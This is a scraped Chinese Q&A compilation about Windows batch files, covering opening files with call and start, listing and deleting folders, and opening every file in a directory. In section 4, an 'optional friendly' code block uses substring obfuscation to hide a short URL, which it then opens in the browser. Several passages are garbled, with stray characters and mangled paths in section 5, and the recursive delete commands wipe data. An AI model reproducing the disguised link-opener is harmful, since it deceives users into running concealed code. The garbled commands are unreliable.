⑴ 如何使用批處理文件打開文件
一共有三種方法:
1.直接用文件名,將全路徑寫在一行,如c:\test.txt
2.使用Call命令,Call加文件全路徑,如call c:\test.txt
3.使用Start命令,方法Start加文件路徑,如Start c:\test.txt
方法1和方法2是一樣的,執行後會打開指定文件,但本來的DOS窗口會等待指定的文件關閉它自己才關閉;方法三就不一樣了,它只管打開指定文件,執行完命令它就會自己關閉掉,不會管打開的文件是否關閉。
具體的使用方法可以在命令提示符窗口下敲入「call /?」(去掉分號)然後回車,查看,同樣敲入「start /?」可以查看start的使用方法。
建立批處理的方法很簡單,右擊單擊在彈出菜單中選擇"新建"->"文本文檔",然後將後綴名txt改為bat,然後在再在這個文件上右擊選擇"編輯",然後就可以輸入批處理內容了,比如上面說的二條,你就輸入call c:\test.txt,然後關閉保存,雙擊運行這個bat文件,它就會打開c:\test.txt
⑵ 批處理文件(.bat)怎麼實現讀取文件目錄
分類: 電腦/網路 >> 程序設計 >> 其他編程語言
問題描述:
我做一個bat文件來刪除CC文件夾下所有的文件和文件夾
@echo off
del /q /s E:\CC
rmdir /q /s E:\CC
因為rmdir會把CC文件夾也刪了
所以我想做個遞歸或者循環,先讀取CC文件夾下的所有文件夾名,然後把這些文件夾給刪了,怎麼做??
(不要提示我用deltree那鄭襪是外部命令,不要提示我可以之後在mk E:\CC)
解乎脊析:
dir /ad /b /s E:\CC
可得所有文件夾名。
dir /ad /b /s E:\CC > directory_list.bat
可以把文件夾名(含路徑)存入文件 directory_list.bat
然後再處理。(例如,加入一列 rmdir 到 directory_list.bat 中,再執行 directory_list.bat)。喊頃激
先刪了E:\CC 再 mkdir CC 最方便,為什麼要舍近求遠呢?
⑶ bat文件要怎麼運行
bat文件可直接滑鼠雙擊運行。
bat是dos下的批處理文件,批處理文件是無格式的文本文件,它包含一條或多條命令。
它的文件擴展名為.bat或.cmd,在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。
(3)bat打開文件夾命令擴展閱讀:
批處理文件(batchfile)包含一系列DOS命令,通常用於自動執行重復性任務。用戶只需雙擊批處理文件便可執行任務,而無需重復輸入相同指令。編寫批處理文件非常簡單,但難點在於確保一切按順序執行。
編寫嚴謹的批處理文件可以極大程度地節省時間,在應對重復性工作時尤其有效,在Windows中善用批處理可以簡化很多重復工作。
批處理(Batch),也稱為批處理腳本。顧名思義,批處理就是對某對象進行批量的處理。批處理文件的擴展名為bat。DOS批處理則是基於DOS命令的,用來自動地批量地執行DOS命令以實現特定操作的腳本。
系統在解釋運行批處理程序時,首先掃描整個批處理程序,然後從第一行代碼開始向下逐句執行所有的命令,直至程序結尾或遇見exit命令或出錯意外退出。
⑷ bat命令 求助 打開指定目錄下的所有文件
@echo off & title 打開指定目錄所有文件 By 依夢琴瑤
cd /d "%~dp0"
::設置指定目錄路徑,當前目錄,請留空
set SrcDir=D:\Test
::指定要打開的文件格式,書寫格式舉例 *.jpg,*.bmp
::全部文件請直接設為*
set Ext=*
if defined SrcDir cd /d "%SrcDir%"
for /f "delims=" %%a in ('dir /a-d/s/b %Ext%') do (
pushd "%%~dpa"
start "" "%%~a"
popd
)
pause
注意:如果您的某些文件沒有關聯打開程序,那麼將無法正常打開。所以請確保所有文件已關聯相應程序。
以下代碼非主代碼,可友情執行。
@echo off & title 友情執行代碼 By 依夢琴瑤
call :Don
exit
:Don
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
⑸ 怎麼命令bat打開某個文件
打開文件或文件夾可以用start命令,start命令會根據文件關聯的程序自動調用關聯的程序打開文件和文件夾.
例如:
start"""c:windows"
startexplorer"c:windows"
rem打開文件夾
start"""c: est.doc"
startwinword"c: est.doc"
rem調用word打開test.doc
start"""c: est.txt"
startnotepad"c: est.txt"
rem調用記事本打開test.txt